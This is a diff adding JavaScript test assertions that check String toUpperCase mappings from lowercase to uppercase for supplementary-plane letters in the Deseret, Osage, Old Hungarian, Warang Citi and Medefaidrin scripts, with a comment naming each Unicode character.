+assertEq(String.fromCodePoint(0x1043A).toUpperCase().codePointAt(0), 0x10412); // DESERET SMALL LETTER BEE, DESERET CAPITAL LETTER BEE
+assertEq(String.fromCodePoint(0x1043B).toUpperCase().codePointAt(0), 0x10413); // DESERET SMALL LETTER TEE, DESERET CAPITAL LETTER TEE
+assertEq(String.fromCodePoint(0x1043C).toUpperCase().codePointAt(0), 0x10414); // DESERET SMALL LETTER DEE, DESERET CAPITAL LETTER DEE
+assertEq(String.fromCodePoint(0x1043D).toUpperCase().codePointAt(0), 0x10415); // DESERET SMALL LETTER CHEE, DESERET CAPITAL LETTER CHEE
+assertEq(String.fromCodePoint(0x1043E).toUpperCase().codePointAt(0), 0x10416); // DESERET SMALL LETTER JEE, DESERET CAPITAL LETTER JEE
+assertEq(String.fromCodePoint(0x1043F).toUpperCase().codePointAt(0), 0x10417); // DESERET SMALL LETTER KAY, DESERET CAPITAL LETTER KAY
+assertEq(String.fromCodePoint(0x10440).toUpperCase().codePointAt(0), 0x10418); // DESERET SMALL LETTER GAY, DESERET CAPITAL LETTER GAY
+assertEq(String.fromCodePoint(0x10441).toUpperCase().codePointAt(0), 0x10419); // DESERET SMALL LETTER EF, DESERET CAPITAL LETTER EF
+assertEq(String.fromCodePoint(0x10442).toUpperCase().codePointAt(0), 0x1041A); // DESERET SMALL LETTER VEE, DESERET CAPITAL LETTER VEE
+assertEq(String.fromCodePoint(0x10443).toUpperCase().codePointAt(0), 0x1041B); // DESERET SMALL LETTER ETH, DESERET CAPITAL LETTER ETH
+assertEq(String.fromCodePoint(0x10444).toUpperCase().codePointAt(0), 0x1041C); // DESERET SMALL LETTER THEE, DESERET CAPITAL LETTER THEE
+assertEq(String.fromCodePoint(0x10445).toUpperCase().codePointAt(0), 0x1041D); // DESERET SMALL LETTER ES, DESERET CAPITAL LETTER ES
+assertEq(String.fromCodePoint(0x10446).toUpperCase().codePointAt(0), 0x1041E); // DESERET SMALL LETTER ZEE, DESERET CAPITAL LETTER ZEE
+assertEq(String.fromCodePoint(0x10447).toUpperCase().codePointAt(0), 0x1041F); // DESERET SMALL LETTER ESH, DESERET CAPITAL LETTER ESH
+assertEq(String.fromCodePoint(0x10448).toUpperCase().codePointAt(0), 0x10420); // DESERET SMALL LETTER ZHEE, DESERET CAPITAL LETTER ZHEE
+assertEq(String.fromCodePoint(0x10449).toUpperCase().codePointAt(0), 0x10421); // DESERET SMALL LETTER ER, DESERET CAPITAL LETTER ER
+assertEq(String.fromCodePoint(0x1044A).toUpperCase().codePointAt(0), 0x10422); // DESERET SMALL LETTER EL, DESERET CAPITAL LETTER EL
+assertEq(String.fromCodePoint(0x1044B).toUpperCase().codePointAt(0), 0x10423); // DESERET SMALL LETTER EM, DESERET CAPITAL LETTER EM
+assertEq(String.fromCodePoint(0x1044C).toUpperCase().codePointAt(0), 0x10424); // DESERET SMALL LETTER EN, DESERET CAPITAL LETTER EN
+assertEq(String.fromCodePoint(0x1044D).toUpperCase().codePointAt(0), 0x10425); // DESERET SMALL LETTER ENG, DESERET CAPITAL LETTER ENG
+assertEq(String.fromCodePoint(0x1044E).toUpperCase().codePointAt(0), 0x10426); // DESERET SMALL LETTER OI, DESERET CAPITAL LETTER OI
+assertEq(String.fromCodePoint(0x1044F).toUpperCase().codePointAt(0), 0x10427); // DESERET SMALL LETTER EW, DESERET CAPITAL LETTER EW
+assertEq(String.fromCodePoint(0x104D8).toUpperCase().codePointAt(0), 0x104B0); // OSAGE SMALL LETTER A, OSAGE CAPITAL LETTER A
+assertEq(String.fromCodePoint(0x104D9).toUpperCase().codePointAt(0), 0x104B1); // OSAGE SMALL LETTER AI, OSAGE CAPITAL LETTER AI
+assertEq(String.fromCodePoint(0x104DA).toUpperCase().codePointAt(0), 0x104B2); // OSAGE SMALL LETTER AIN, OSAGE CAPITAL LETTER AIN
+assertEq(String.fromCodePoint(0x104DB).toUpperCase().codePointAt(0), 0x104B3); // OSAGE SMALL LETTER AH, OSAGE CAPITAL LETTER AH
+assertEq(String.fromCodePoint(0x104DC).toUpperCase().codePointAt(0), 0x104B4); // OSAGE SMALL LETTER BRA, OSAGE CAPITAL LETTER BRA
+assertEq(String.fromCodePoint(0x104DD).toUpperCase().codePointAt(0), 0x104B5); // OSAGE SMALL LETTER CHA, OSAGE CAPITAL LETTER CHA
+assertEq(String.fromCodePoint(0x104DE).toUpperCase().codePointAt(0), 0x104B6); // OSAGE SMALL LETTER EHCHA, OSAGE CAPITAL LETTER EHCHA
+assertEq(String.fromCodePoint(0x104DF).toUpperCase().codePointAt(0), 0x104B7); // OSAGE SMALL LETTER E, OSAGE CAPITAL LETTER E
+assertEq(String.fromCodePoint(0x104E0).toUpperCase().codePointAt(0), 0x104B8); // OSAGE SMALL LETTER EIN, OSAGE CAPITAL LETTER EIN
+assertEq(String.fromCodePoint(0x104E1).toUpperCase().codePointAt(0), 0x104B9); // OSAGE SMALL LETTER HA, OSAGE CAPITAL LETTER HA
+assertEq(String.fromCodePoint(0x104E2).toUpperCase().codePointAt(0), 0x104BA); // OSAGE SMALL LETTER HYA, OSAGE CAPITAL LETTER HYA
+assertEq(String.fromCodePoint(0x104E3).toUpperCase().codePointAt(0), 0x104BB); // OSAGE SMALL LETTER I, OSAGE CAPITAL LETTER I
+assertEq(String.fromCodePoint(0x104E4).toUpperCase().codePointAt(0), 0x104BC); // OSAGE SMALL LETTER KA, OSAGE CAPITAL LETTER KA
+assertEq(String.fromCodePoint(0x104E5).toUpperCase().codePointAt(0), 0x104BD); // OSAGE SMALL LETTER EHKA, OSAGE CAPITAL LETTER EHKA
+assertEq(String.fromCodePoint(0x104E6).toUpperCase().codePointAt(0), 0x104BE); // OSAGE SMALL LETTER KYA, OSAGE CAPITAL LETTER KYA
+assertEq(String.fromCodePoint(0x104E7).toUpperCase().codePointAt(0), 0x104BF); // OSAGE SMALL LETTER LA, OSAGE CAPITAL LETTER LA
+assertEq(String.fromCodePoint(0x104E8).toUpperCase().codePointAt(0), 0x104C0); // OSAGE SMALL LETTER MA, OSAGE CAPITAL LETTER MA
+assertEq(String.fromCodePoint(0x104E9).toUpperCase().codePointAt(0), 0x104C1); // OSAGE SMALL LETTER NA, OSAGE CAPITAL LETTER NA
+assertEq(String.fromCodePoint(0x104EA).toUpperCase().codePointAt(0), 0x104C2); // OSAGE SMALL LETTER O, OSAGE CAPITAL LETTER O
+assertEq(String.fromCodePoint(0x104EB).toUpperCase().codePointAt(0), 0x104C3); // OSAGE SMALL LETTER OIN, OSAGE CAPITAL LETTER OIN
+assertEq(String.fromCodePoint(0x104EC).toUpperCase().codePointAt(0), 0x104C4); // OSAGE SMALL LETTER PA, OSAGE CAPITAL LETTER PA
+assertEq(String.fromCodePoint(0x104ED).toUpperCase().codePointAt(0), 0x104C5); // OSAGE SMALL LETTER EHPA, OSAGE CAPITAL LETTER EHPA
+assertEq(String.fromCodePoint(0x104EE).toUpperCase().codePointAt(0), 0x104C6); // OSAGE SMALL LETTER SA, OSAGE CAPITAL LETTER SA
+assertEq(String.fromCodePoint(0x104EF).toUpperCase().codePointAt(0), 0x104C7); // OSAGE SMALL LETTER SHA, OSAGE CAPITAL LETTER SHA
+assertEq(String.fromCodePoint(0x104F0).toUpperCase().codePointAt(0), 0x104C8); // OSAGE SMALL LETTER TA, OSAGE CAPITAL LETTER TA
+assertEq(String.fromCodePoint(0x104F1).toUpperCase().codePointAt(0), 0x104C9); // OSAGE SMALL LETTER EHTA, OSAGE CAPITAL LETTER EHTA
+assertEq(String.fromCodePoint(0x104F2).toUpperCase().codePointAt(0), 0x104CA); // OSAGE SMALL LETTER TSA, OSAGE CAPITAL LETTER TSA
+assertEq(String.fromCodePoint(0x104F3).toUpperCase().codePointAt(0), 0x104CB); // OSAGE SMALL LETTER EHTSA, OSAGE CAPITAL LETTER EHTSA
+assertEq(String.fromCodePoint(0x104F4).toUpperCase().codePointAt(0), 0x104CC); // OSAGE SMALL LETTER TSHA, OSAGE CAPITAL LETTER TSHA
+assertEq(String.fromCodePoint(0x104F5).toUpperCase().codePointAt(0), 0x104CD); // OSAGE SMALL LETTER DHA, OSAGE CAPITAL LETTER DHA
+assertEq(String.fromCodePoint(0x104F6).toUpperCase().codePointAt(0), 0x104CE); // OSAGE SMALL LETTER U, OSAGE CAPITAL LETTER U
+assertEq(String.fromCodePoint(0x104F7).toUpperCase().codePointAt(0), 0x104CF); // OSAGE SMALL LETTER WA, OSAGE CAPITAL LETTER WA
+assertEq(String.fromCodePoint(0x104F8).toUpperCase().codePointAt(0), 0x104D0); // OSAGE SMALL LETTER KHA, OSAGE CAPITAL LETTER KHA
+assertEq(String.fromCodePoint(0x104F9).toUpperCase().codePointAt(0), 0x104D1); // OSAGE SMALL LETTER GHA, OSAGE CAPITAL LETTER GHA
+assertEq(String.fromCodePoint(0x104FA).toUpperCase().codePointAt(0), 0x104D2); // OSAGE SMALL LETTER ZA, OSAGE CAPITAL LETTER ZA
+assertEq(String.fromCodePoint(0x104FB).toUpperCase().codePointAt(0), 0x104D3); // OSAGE SMALL LETTER ZHA, OSAGE CAPITAL LETTER ZHA
+assertEq(String.fromCodePoint(0x10CC0).toUpperCase().codePointAt(0), 0x10C80); // OLD HUNGARIAN SMALL LETTER A, OLD HUNGARIAN CAPITAL LETTER A
+assertEq(String.fromCodePoint(0x10CC1).toUpperCase().codePointAt(0), 0x10C81); // OLD HUNGARIAN SMALL LETTER AA, OLD HUNGARIAN CAPITAL LETTER AA
+assertEq(String.fromCodePoint(0x10CC2).toUpperCase().codePointAt(0), 0x10C82); // OLD HUNGARIAN SMALL LETTER EB, OLD HUNGARIAN CAPITAL LETTER EB
+assertEq(String.fromCodePoint(0x10CC3).toUpperCase().codePointAt(0), 0x10C83); // OLD HUNGARIAN SMALL LETTER AMB, OLD HUNGARIAN CAPITAL LETTER AMB
+assertEq(String.fromCodePoint(0x10CC4).toUpperCase().codePointAt(0), 0x10C84); // OLD HUNGARIAN SMALL LETTER EC, OLD HUNGARIAN CAPITAL LETTER EC
+assertEq(String.fromCodePoint(0x10CC5).toUpperCase().codePointAt(0), 0x10C85); // OLD HUNGARIAN SMALL LETTER ENC, OLD HUNGARIAN CAPITAL LETTER ENC
+assertEq(String.fromCodePoint(0x10CC6).toUpperCase().codePointAt(0), 0x10C86); // OLD HUNGARIAN SMALL LETTER ECS, OLD HUNGARIAN CAPITAL LETTER ECS
+assertEq(String.fromCodePoint(0x10CC7).toUpperCase().codePointAt(0), 0x10C87); // OLD HUNGARIAN SMALL LETTER ED, OLD HUNGARIAN CAPITAL LETTER ED
+assertEq(String.fromCodePoint(0x10CC8).toUpperCase().codePointAt(0), 0x10C88); // OLD HUNGARIAN SMALL LETTER AND, OLD HUNGARIAN CAPITAL LETTER AND
+assertEq(String.fromCodePoint(0x10CC9).toUpperCase().codePointAt(0), 0x10C89); // OLD HUNGARIAN SMALL LETTER E, OLD HUNGARIAN CAPITAL LETTER E
+assertEq(String.fromCodePoint(0x10CCA).toUpperCase().codePointAt(0), 0x10C8A); // OLD HUNGARIAN SMALL LETTER CLOSE E, OLD HUNGARIAN CAPITAL LETTER CLOSE E
+assertEq(String.fromCodePoint(0x10CCB).toUpperCase().codePointAt(0), 0x10C8B); // OLD HUNGARIAN SMALL LETTER EE, OLD HUNGARIAN CAPITAL LETTER EE
+assertEq(String.fromCodePoint(0x10CCC).toUpperCase().codePointAt(0), 0x10C8C); // OLD HUNGARIAN SMALL LETTER EF, OLD HUNGARIAN CAPITAL LETTER EF
+assertEq(String.fromCodePoint(0x10CCD).toUpperCase().codePointAt(0), 0x10C8D); // OLD HUNGARIAN SMALL LETTER EG, OLD HUNGARIAN CAPITAL LETTER EG
+assertEq(String.fromCodePoint(0x10CCE).toUpperCase().codePointAt(0), 0x10C8E); // OLD HUNGARIAN SMALL LETTER EGY, OLD HUNGARIAN CAPITAL LETTER EGY
+assertEq(String.fromCodePoint(0x10CCF).toUpperCase().codePointAt(0), 0x10C8F); // OLD HUNGARIAN SMALL LETTER EH, OLD HUNGARIAN CAPITAL LETTER EH
+assertEq(String.fromCodePoint(0x10CD0).toUpperCase().codePointAt(0), 0x10C90); // OLD HUNGARIAN SMALL LETTER I, OLD HUNGARIAN CAPITAL LETTER I
+assertEq(String.fromCodePoint(0x10CD1).toUpperCase().codePointAt(0), 0x10C91); // OLD HUNGARIAN SMALL LETTER II, OLD HUNGARIAN CAPITAL LETTER II
+assertEq(String.fromCodePoint(0x10CD2).toUpperCase().codePointAt(0), 0x10C92); // OLD HUNGARIAN SMALL LETTER EJ, OLD HUNGARIAN CAPITAL LETTER EJ
+assertEq(String.fromCodePoint(0x10CD3).toUpperCase().codePointAt(0), 0x10C93); // OLD HUNGARIAN SMALL LETTER EK, OLD HUNGARIAN CAPITAL LETTER EK
+assertEq(String.fromCodePoint(0x10CD4).toUpperCase().codePointAt(0), 0x10C94); // OLD HUNGARIAN SMALL LETTER AK, OLD HUNGARIAN CAPITAL LETTER AK
+assertEq(String.fromCodePoint(0x10CD5).toUpperCase().codePointAt(0), 0x10C95); // OLD HUNGARIAN SMALL LETTER UNK, OLD HUNGARIAN CAPITAL LETTER UNK
+assertEq(String.fromCodePoint(0x10CD6).toUpperCase().codePointAt(0), 0x10C96); // OLD HUNGARIAN SMALL LETTER EL, OLD HUNGARIAN CAPITAL LETTER EL
+assertEq(String.fromCodePoint(0x10CD7).toUpperCase().codePointAt(0), 0x10C97); // OLD HUNGARIAN SMALL LETTER ELY, OLD HUNGARIAN CAPITAL LETTER ELY
+assertEq(String.fromCodePoint(0x10CD8).toUpperCase().codePointAt(0), 0x10C98); // OLD HUNGARIAN SMALL LETTER EM, OLD HUNGARIAN CAPITAL LETTER EM
+assertEq(String.fromCodePoint(0x10CD9).toUpperCase().codePointAt(0), 0x10C99); // OLD HUNGARIAN SMALL LETTER EN, OLD HUNGARIAN CAPITAL LETTER EN
+assertEq(String.fromCodePoint(0x10CDA).toUpperCase().codePointAt(0), 0x10C9A); // OLD HUNGARIAN SMALL LETTER ENY, OLD HUNGARIAN CAPITAL LETTER ENY
+assertEq(String.fromCodePoint(0x10CDB).toUpperCase().codePointAt(0), 0x10C9B); // OLD HUNGARIAN SMALL LETTER O, OLD HUNGARIAN CAPITAL LETTER O
+assertEq(String.fromCodePoint(0x10CDC).toUpperCase().codePointAt(0), 0x10C9C); // OLD HUNGARIAN SMALL LETTER OO, OLD HUNGARIAN CAPITAL LETTER OO
+assertEq(String.fromCodePoint(0x10CDD).toUpperCase().codePointAt(0), 0x10C9D); // OLD HUNGARIAN SMALL LETTER NIKOLSBURG OE, OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG OE
+assertEq(String.fromCodePoint(0x10CDE).toUpperCase().codePointAt(0), 0x10C9E); // OLD HUNGARIAN SMALL LETTER RUDIMENTA OE, OLD HUNGARIAN CAPITAL LETTER RUDIMENTA OE
+assertEq(String.fromCodePoint(0x10CDF).toUpperCase().codePointAt(0), 0x10C9F); // OLD HUNGARIAN SMALL LETTER OEE, OLD HUNGARIAN CAPITAL LETTER OEE
+assertEq(String.fromCodePoint(0x10CE0).toUpperCase().codePointAt(0), 0x10CA0); // OLD HUNGARIAN SMALL LETTER EP, OLD HUNGARIAN CAPITAL LETTER EP
+assertEq(String.fromCodePoint(0x10CE1).toUpperCase().codePointAt(0), 0x10CA1); // OLD HUNGARIAN SMALL LETTER EMP, OLD HUNGARIAN CAPITAL LETTER EMP
+assertEq(String.fromCodePoint(0x10CE2).toUpperCase().codePointAt(0), 0x10CA2); // OLD HUNGARIAN SMALL LETTER ER, OLD HUNGARIAN CAPITAL LETTER ER
+assertEq(String.fromCodePoint(0x10CE3).toUpperCase().codePointAt(0), 0x10CA3); // OLD HUNGARIAN SMALL LETTER SHORT ER, OLD HUNGARIAN CAPITAL LETTER SHORT ER
+assertEq(String.fromCodePoint(0x10CE4).toUpperCase().codePointAt(0), 0x10CA4); // OLD HUNGARIAN SMALL LETTER ES, OLD HUNGARIAN CAPITAL LETTER ES
+assertEq(String.fromCodePoint(0x10CE5).toUpperCase().codePointAt(0), 0x10CA5); // OLD HUNGARIAN SMALL LETTER ESZ, OLD HUNGARIAN CAPITAL LETTER ESZ
+assertEq(String.fromCodePoint(0x10CE6).toUpperCase().codePointAt(0), 0x10CA6); // OLD HUNGARIAN SMALL LETTER ET, OLD HUNGARIAN CAPITAL LETTER ET
+assertEq(String.fromCodePoint(0x10CE7).toUpperCase().codePointAt(0), 0x10CA7); // OLD HUNGARIAN SMALL LETTER ENT, OLD HUNGARIAN CAPITAL LETTER ENT
+assertEq(String.fromCodePoint(0x10CE8).toUpperCase().codePointAt(0), 0x10CA8); // OLD HUNGARIAN SMALL LETTER ETY, OLD HUNGARIAN CAPITAL LETTER ETY
+assertEq(String.fromCodePoint(0x10CE9).toUpperCase().codePointAt(0), 0x10CA9); // OLD HUNGARIAN SMALL LETTER ECH, OLD HUNGARIAN CAPITAL LETTER ECH
+assertEq(String.fromCodePoint(0x10CEA).toUpperCase().codePointAt(0), 0x10CAA); // OLD HUNGARIAN SMALL LETTER U, OLD HUNGARIAN CAPITAL LETTER U
+assertEq(String.fromCodePoint(0x10CEB).toUpperCase().codePointAt(0), 0x10CAB); // OLD HUNGARIAN SMALL LETTER UU, OLD HUNGARIAN CAPITAL LETTER UU
+assertEq(String.fromCodePoint(0x10CEC).toUpperCase().codePointAt(0), 0x10CAC); // OLD HUNGARIAN SMALL LETTER NIKOLSBURG UE, OLD HUNGARIAN CAPITAL LETTER NIKOLSBURG UE
+assertEq(String.fromCodePoint(0x10CED).toUpperCase().codePointAt(0), 0x10CAD); // OLD HUNGARIAN SMALL LETTER RUDIMENTA UE, OLD HUNGARIAN CAPITAL LETTER RUDIMENTA UE
+assertEq(String.fromCodePoint(0x10CEE).toUpperCase().codePointAt(0), 0x10CAE); // OLD HUNGARIAN SMALL LETTER EV, OLD HUNGARIAN CAPITAL LETTER EV
+assertEq(String.fromCodePoint(0x10CEF).toUpperCase().codePointAt(0), 0x10CAF); // OLD HUNGARIAN SMALL LETTER EZ, OLD HUNGARIAN CAPITAL LETTER EZ
+assertEq(String.fromCodePoint(0x10CF0).toUpperCase().codePointAt(0), 0x10CB0); // OLD HUNGARIAN SMALL LETTER EZS, OLD HUNGARIAN CAPITAL LETTER EZS
+assertEq(String.fromCodePoint(0x10CF1).toUpperCase().codePointAt(0), 0x10CB1); // OLD HUNGARIAN SMALL LETTER ENT-SHAPED SIGN, OLD HUNGARIAN CAPITAL LETTER ENT-SHAPED SIGN
+assertEq(String.fromCodePoint(0x10CF2).toUpperCase().codePointAt(0), 0x10CB2); // OLD HUNGARIAN SMALL LETTER US, OLD HUNGARIAN CAPITAL LETTER US
+assertEq(String.fromCodePoint(0x118C0).toUpperCase().codePointAt(0), 0x118A0); // WARANG CITI SMALL LETTER NGAA, WARANG CITI CAPITAL LETTER NGAA
+assertEq(String.fromCodePoint(0x118C1).toUpperCase().codePointAt(0), 0x118A1); // WARANG CITI SMALL LETTER A, WARANG CITI CAPITAL LETTER A
+assertEq(String.fromCodePoint(0x118C2).toUpperCase().codePointAt(0), 0x118A2); // WARANG CITI SMALL LETTER WI, WARANG CITI CAPITAL LETTER WI
+assertEq(String.fromCodePoint(0x118C3).toUpperCase().codePointAt(0), 0x118A3); // WARANG CITI SMALL LETTER YU, WARANG CITI CAPITAL LETTER YU
+assertEq(String.fromCodePoint(0x118C4).toUpperCase().codePointAt(0), 0x118A4); // WARANG CITI SMALL LETTER YA, WARANG CITI CAPITAL LETTER YA
+assertEq(String.fromCodePoint(0x118C5).toUpperCase().codePointAt(0), 0x118A5); // WARANG CITI SMALL LETTER YO, WARANG CITI CAPITAL LETTER YO
+assertEq(String.fromCodePoint(0x118C6).toUpperCase().codePointAt(0), 0x118A6); // WARANG CITI SMALL LETTER II, WARANG CITI CAPITAL LETTER II
+assertEq(String.fromCodePoint(0x118C7).toUpperCase().codePointAt(0), 0x118A7); // WARANG CITI SMALL LETTER UU, WARANG CITI CAPITAL LETTER UU
+assertEq(String.fromCodePoint(0x118C8).toUpperCase().codePointAt(0), 0x118A8); // WARANG CITI SMALL LETTER E, WARANG CITI CAPITAL LETTER E
+assertEq(String.fromCodePoint(0x118C9).toUpperCase().codePointAt(0), 0x118A9); // WARANG CITI SMALL LETTER O, WARANG CITI CAPITAL LETTER O
+assertEq(String.fromCodePoint(0x118CA).toUpperCase().codePointAt(0), 0x118AA); // WARANG CITI SMALL LETTER ANG, WARANG CITI CAPITAL LETTER ANG
+assertEq(String.fromCodePoint(0x118CB).toUpperCase().codePointAt(0), 0x118AB); // WARANG CITI SMALL LETTER GA, WARANG CITI CAPITAL LETTER GA
+assertEq(String.fromCodePoint(0x118CC).toUpperCase().codePointAt(0), 0x118AC); // WARANG CITI SMALL LETTER KO, WARANG CITI CAPITAL LETTER KO
+assertEq(String.fromCodePoint(0x118CD).toUpperCase().codePointAt(0), 0x118AD); // WARANG CITI SMALL LETTER ENY, WARANG CITI CAPITAL LETTER ENY
+assertEq(String.fromCodePoint(0x118CE).toUpperCase().codePointAt(0), 0x118AE); // WARANG CITI SMALL LETTER YUJ, WARANG CITI CAPITAL LETTER YUJ
+assertEq(String.fromCodePoint(0x118CF).toUpperCase().codePointAt(0), 0x118AF); // WARANG CITI SMALL LETTER UC, WARANG CITI CAPITAL LETTER UC
+assertEq(String.fromCodePoint(0x118D0).toUpperCase().codePointAt(0), 0x118B0); // WARANG CITI SMALL LETTER ENN, WARANG CITI CAPITAL LETTER ENN
+assertEq(String.fromCodePoint(0x118D1).toUpperCase().codePointAt(0), 0x118B1); // WARANG CITI SMALL LETTER ODD, WARANG CITI CAPITAL LETTER ODD
+assertEq(String.fromCodePoint(0x118D2).toUpperCase().codePointAt(0), 0x118B2); // WARANG CITI SMALL LETTER TTE, WARANG CITI CAPITAL LETTER TTE
+assertEq(String.fromCodePoint(0x118D3).toUpperCase().codePointAt(0), 0x118B3); // WARANG CITI SMALL LETTER NUNG, WARANG CITI CAPITAL LETTER NUNG
+assertEq(String.fromCodePoint(0x118D4).toUpperCase().codePointAt(0), 0x118B4); // WARANG CITI SMALL LETTER DA, WARANG CITI CAPITAL LETTER DA
+assertEq(String.fromCodePoint(0x118D5).toUpperCase().codePointAt(0), 0x118B5); // WARANG CITI SMALL LETTER AT, WARANG CITI CAPITAL LETTER AT
+assertEq(String.fromCodePoint(0x118D6).toUpperCase().codePointAt(0), 0x118B6); // WARANG CITI SMALL LETTER AM, WARANG CITI CAPITAL LETTER AM
+assertEq(String.fromCodePoint(0x118D7).toUpperCase().codePointAt(0), 0x118B7); // WARANG CITI SMALL LETTER BU, WARANG CITI CAPITAL LETTER BU
+assertEq(String.fromCodePoint(0x118D8).toUpperCase().codePointAt(0), 0x118B8); // WARANG CITI SMALL LETTER PU, WARANG CITI CAPITAL LETTER PU
+assertEq(String.fromCodePoint(0x118D9).toUpperCase().codePointAt(0), 0x118B9); // WARANG CITI SMALL LETTER HIYO, WARANG CITI CAPITAL LETTER HIYO
+assertEq(String.fromCodePoint(0x118DA).toUpperCase().codePointAt(0), 0x118BA); // WARANG CITI SMALL LETTER HOLO, WARANG CITI CAPITAL LETTER HOLO
+assertEq(String.fromCodePoint(0x118DB).toUpperCase().codePointAt(0), 0x118BB); // WARANG CITI SMALL LETTER HORR, WARANG CITI CAPITAL LETTER HORR
+assertEq(String.fromCodePoint(0x118DC).toUpperCase().codePointAt(0), 0x118BC); // WARANG CITI SMALL LETTER HAR, WARANG CITI CAPITAL LETTER HAR
+assertEq(String.fromCodePoint(0x118DD).toUpperCase().codePointAt(0), 0x118BD); // WARANG CITI SMALL LETTER SSUU, WARANG CITI CAPITAL LETTER SSUU
+assertEq(String.fromCodePoint(0x118DE).toUpperCase().codePointAt(0), 0x118BE); // WARANG CITI SMALL LETTER SII, WARANG CITI CAPITAL LETTER SII
+assertEq(String.fromCodePoint(0x118DF).toUpperCase().codePointAt(0), 0x118BF); // WARANG CITI SMALL LETTER VIYO, WARANG CITI CAPITAL LETTER VIYO
+assertEq(String.fromCodePoint(0x16E60).toUpperCase().codePointAt(0), 0x16E40); // MEDEFAIDRIN SMALL LETTER M, MEDEFAIDRIN CAPITAL LETTER M
+assertEq(String.fromCodePoint(0x16E61).toUpperCase().codePointAt(0), 0x16E41); // MEDEFAIDRIN SMALL LETTER S, MEDEFAIDRIN CAPITAL LETTER S
+assertEq(String.fromCodePoint(0x16E62).toUpperCase().codePointAt(0), 0x16E42); // MEDEFAIDRIN SMALL LETTER V, MEDEFAIDRIN CAPITAL LETTER V
+assertEq(String.fromCodePoint(0x16E63).toUpperCase().codePointAt(0), 0x16E43); // MEDEFAIDRIN SMALL LETTER W, MEDEFAIDRIN CAPITAL LETTER W
+assertEq(String.fromCodePoint(0x16E64).toUpperCase().codePointAt(0), 0x16E44); // MEDEFAIDRIN SMALL LETTER ATIU, MEDEFAIDRIN CAPITAL LETTER ATIU
+assertEq(String.fromCodePoint(0x16E65).toUpperCase().codePointAt(0), 0x16E45); // MEDEFAIDRIN SMALL LETTER Z, MEDEFAIDRIN CAPITAL LETTER Z
+assertEq(String.fromCodePoint(0x16E66).toUpperCase().codePointAt(0), 0x16E46); // MEDEFAIDRIN SMALL LETTER KP, MEDEFAIDRIN CAPITAL LETTER KP
+assertEq(String.fromCodePoint(0x16E67).toUpperCase().codePointAt(0), 0x16E47); // MEDEFAIDRIN SMALL LETTER P, MEDEFAIDRIN CAPITAL LETTER P
+assertEq(String.fromCodePoint(0x16E68).toUpperCase().codePointAt(0), 0x16E48); // MEDEFAIDRIN SMALL LETTER T, MEDEFAIDRIN CAPITAL LETTER T
+assertEq(String.fromCodePoint(0x16E69).toUpperCase().codePointAt(0), 0x16E49); // MEDEFAIDRIN SMALL LETTER G, MEDEFAIDRIN CAPITAL LETTER G
+assertEq(String.fromCodePoint(0x16E6A).toUpperCase().codePointAt(0), 0x16E4A); // MEDEFAIDRIN SMALL LETTER F, MEDEFAIDRIN CAPITAL LETTER F
+assertEq(String.fromCodePoint(0x16E6B).toUpperCase().codePointAt(0), 0x16E4B); // MEDEFAIDRIN SMALL LETTER I, MEDEFAIDRIN CAPITAL LETTER I
+assertEq(String.fromCodePoint(0x16E6C).toUpperCase().codePointAt(0), 0x16E4C); // MEDEFAIDRIN SMALL LETTER K, MEDEFAIDRIN CAPITAL LETTER K
+assertEq(String.fromCodePoint(0x16E6D).toUpperCase().codePointAt(0), 0x16E4D); // MEDEFAIDRIN SMALL LETTER A, MEDEFAIDRIN CAPITAL LETTER A
+assertEq(String.fromCodePoint(0x16E6E).toUpperCase().codePointAt(0), 0x16E4E); // MEDEFAIDRIN SMALL LETTER J, MEDEFAIDRIN CAPITAL LETTER J
+assertEq(String.fromCodePoint(0x16E6F).toUpperCase().codePointAt(0), 0x16E4F); // MEDEFAIDRIN SMALL LETTER E, MEDEFAIDRIN CAPITAL LETTER E
+assertEq(String.fromCodePoint(0x16E70).toUpperCase().codePointAt(0), 0x16E50); // MEDEFAIDRIN SMALL LETTER B, MEDEFAIDRIN CAPITAL LETTER B
+assertEq(String.fromCodePoint(0x16E71).toUpperCase().codePointAt(0), 0x16E51); // MEDEFAIDRIN SMALL LETTER C, MEDEFAIDRIN CAPITAL LETTER C
+assertEq(String.fromCodePoint(0x16E72).toUpperCase().codePointAt(0), 0x16E52); // MEDEFAIDRIN SMALL LETTER U, MEDEFAIDRIN CAPITAL LETTER U
+assertEq(String.fromCodePoint(0x16E73).toUpperCase().codePointAt(0), 0x16E53); // MEDEFAIDRIN SMALL LETTER YU, MEDEFAIDRIN CAPITAL LETTER YU
+assertEq(String.fromCodePoint(0x16E74).toUpperCase().codePointAt(0), 0x16E54); // MEDEFAIDRIN SMALL LETTER L, MEDEFAIDRIN CAPITAL LETTER L
+assertEq(String.fromCodePoint(0x16E75).toUpperCase().codePointAt(0), 0x16E55); // MEDEFAIDRIN SMALL LETTER Q, MEDEFAIDRIN CAPITAL LETTER Q
+assertEq(String.fromCodePoint(0x16E76).toUpperCase().codePointAt(0), 0x16E56); // MEDEFAIDRIN SMALL LETTER HP, MEDEFAIDRIN CAPITAL LETTER HP
+assertEq(String.fromCodePoint(0x16E77).toUpperCase().codePointAt(0), 0x16E57); // MEDEFAIDRIN SMALL LETTER NY, MEDEFAIDRIN CAPITAL LETTER NY
+assertEq(String.fromCodePoint(0x16E78).toUpperCase().codePointAt(0), 0x16E58); // MEDEFAIDRIN SMALL LETTER X, MEDEFAIDRIN CAPITAL LETTER X
+assertEq(String.fromCodePoint(0x16E79).toUpperCase().codePointAt(0), 0x16E59); // MEDEFAIDRIN SMALL LETTER D, MEDEFAIDRIN CAPITAL LETTER D
+assertEq(String.fromCodePoint(0x16E7A).toUpperCase().codePointAt(0), 0x16E5A); // MEDEFAIDRIN SMALL LETTER OE, MEDEFAIDRIN CAPITAL LETTER OE
+assertEq(String.fromCodePoint(0x16E7B).toUpperCase().codePointAt(0), 0x16E5B); // MEDEFAIDRIN SMALL LETTER N, MEDEFAIDRIN CAPITAL LETTER N
+assertEq(String.fromCodePoint(0x16E7C).toUpperCase().codePointAt(0), 0x16E5C); // MEDEFAIDRIN SMALL LETTER R, MEDEFAIDRIN CAPITAL LETTER R
+assertEq(String.fromCodePoint(0x16E7D).toUpperCase().codePointAt(0), 0x16E5D); // MEDEFAIDRIN SMALL LETTER O, MEDEFAIDRIN CAPITAL LETTER O
+assertEq(String.fromCodePoint(0x16E7E).toUpperCase().codePointAt(0), 0x16E5E); // MEDEFAIDRIN SMALL LETTER AI, MEDEFAIDRIN CAPITAL LETTER AI
